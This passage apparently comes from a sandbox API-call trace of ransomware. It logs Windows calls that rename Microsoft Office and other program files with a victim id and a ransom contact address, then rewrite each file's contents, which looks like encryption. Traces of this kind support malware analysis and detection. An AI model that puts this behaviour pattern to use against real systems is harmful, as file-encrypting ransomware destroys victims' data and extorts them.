lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26a7ef01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26a7ef01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x698b0, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FLTLDR~1.FIR")) returned 0x6d4f80 [0203.632] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0203.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\fltldr.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0203.632] GetProcessHeap () returned 0x630000 [0203.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x747de08 [0203.633] GetProcessHeap () returned 0x630000 [0203.633] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7489238 [0203.634] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.634] ReadFile (in: hFile=0x42c, lpBuffer=0x747de08, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747de08*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.731] GetProcessHeap () returned 0x630000 [0211.731] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0211.731] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.731] WriteFile (in: hFile=0x42c, lpBuffer=0x7489238*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7489238*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0211.732] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.732] WriteFile (in: hFile=0x42c, lpBuffer=0x7494637*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7494637*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.733] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.733] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.733] CloseHandle (hObject=0x42c) returned 1 [0211.733] GetProcessHeap () returned 0x630000 [0211.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7489238 | out: hHeap=0x630000) returned 1 [0211.733] GetProcessHeap () returned 0x630000 [0211.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x747de08 | out: hHeap=0x630000) returned 1 [0211.733] GetProcessHeap () returned 0x630000 [0211.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0211.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26a7ef01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4426fe3e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x698d4, dwReserved0=0xaa87496, dwReserved1=0x747de00, cFileName="FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FLTLDR~1.FIR")) returned 0x6d5280 [0211.734] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0211.734] Sleep (dwMilliseconds=0x1) [0211.744] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", len=0x6d | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned 1 [0211.744] GetProcessHeap () returned 0x630000 [0211.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e3c) returned 0x6fe4288 [0211.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0211.745] CloseHandle (hObject=0x42c) returned 1 [0211.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0211.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\icad.fmp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0211.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xe408c02c, dwReserved1=0x6e006f, cFileName="ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICADFM~1.FIR")) returned 0x6d5200 [0211.746] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\icad.fmp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0211.746] GetProcessHeap () returned 0x630000 [0211.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71eb1a8 [0211.747] GetProcessHeap () returned 0x630000 [0211.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71eabc8 [0211.747] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.747] ReadFile (in: hFile=0x42c, lpBuffer=0x71eb1a8, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb1a8*, lpNumberOfBytesRead=0x587ff0c*=0x140, lpOverlapped=0x0) returned 1 [0211.749] GetProcessHeap () returned 0x630000 [0211.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0211.749] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.749] WriteFile (in: hFile=0x42c, lpBuffer=0x71eabc8*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eabc8*, lpNumberOfBytesWritten=0x587ff0c*=0x140, lpOverlapped=0x0) returned 1 [0211.749] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.749] WriteFile (in: hFile=0x42c, lpBuffer=0x71ead07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ead07*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0211.749] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.749] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0211.749] CloseHandle (hObject=0x42c) returned 1 [0211.749] GetProcessHeap () returned 0x630000 [0211.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eabc8 | out: hHeap=0x630000) returned 1 [0211.749] GetProcessHeap () returned 0x630000 [0211.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eb1a8 | out: hHeap=0x630000) returned 1 [0211.749] GetProcessHeap () returned 0x630000 [0211.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0211.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x62b5b1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x62b5b1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x442981f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x587fd20, dwReserved1=0x71eb1a8, cFileName="ICAD.FMP.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICADFM~1.FIR")) returned 0x6d5200 [0211.750] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0211.750] Sleep (dwMilliseconds=0x1) [0213.405] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb", len=0x64 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb") returned 1 [0213.405] GetProcessHeap () returned 0x630000 [0213.405] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f30) returned 0x7128660 [0213.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\interceptor.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0213.427] CloseHandle (hObject=0x6f8) returned 1 [0213.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0213.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\interceptor.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0213.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0213.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35213f7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb60, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTERC~1.FIR")) returned 0x6d4f40 [0213.429] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0213.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0213.429] GetProcessHeap () returned 0x630000 [0213.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333838 [0213.430] GetProcessHeap () returned 0x630000 [0213.430] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0213.430] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.430] ReadFile (in: hFile=0x6f8, lpBuffer=0x7333838, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333838*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.673] GetProcessHeap () returned 0x630000 [0218.673] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0218.673] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.673] WriteFile (in: hFile=0x6f8, lpBuffer=0x733ec68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0218.673] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.674] WriteFile (in: hFile=0x6f8, lpBuffer=0x734a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a067*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.674] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.674] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.674] CloseHandle (hObject=0x6f8) returned 1 [0218.674] GetProcessHeap () returned 0x630000 [0218.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0218.674] GetProcessHeap () returned 0x630000 [0218.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333838 | out: hHeap=0x630000) returned 1 [0218.674] GetProcessHeap () returned 0x630000 [0218.674] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0218.674] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4849b266, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbb84, dwReserved0=0xaa87496, dwReserved1=0x7333830, cFileName="Interceptor.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTERC~1.FIR")) returned 0x6d5500 [0218.675] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0218.675] Sleep (dwMilliseconds=0x1) [0220.106] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x587ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml") returned 1 [0220.106] GetProcessHeap () returned 0x630000 [0220.107] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5088) returned 0x6fe3bb0 [0220.108] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.108] CloseHandle (hObject=0x5e4) returned 1 [0220.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.109] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.109] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.110] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0220.110] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0220.110] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-be\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0220.110] GetProcessHeap () returned 0x630000 [0220.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0220.110] GetProcessHeap () returned 0x630000 [0220.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0220.110] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.110] ReadFile (in: hFile=0x5e4, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.112] GetProcessHeap () returned 0x630000 [0220.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0220.112] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.112] WriteFile (in: hFile=0x5e4, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x587ff0c*=0x180, lpOverlapped=0x0) returned 1 [0220.113] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.113] WriteFile (in: hFile=0x5e4, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.113] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.113] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.113] CloseHandle (hObject=0x5e4) returned 1 [0220.113] GetProcessHeap () returned 0x630000 [0220.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0220.113] GetProcessHeap () returned 0x630000 [0220.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0220.113] GetProcessHeap () returned 0x630000 [0220.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0220.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, 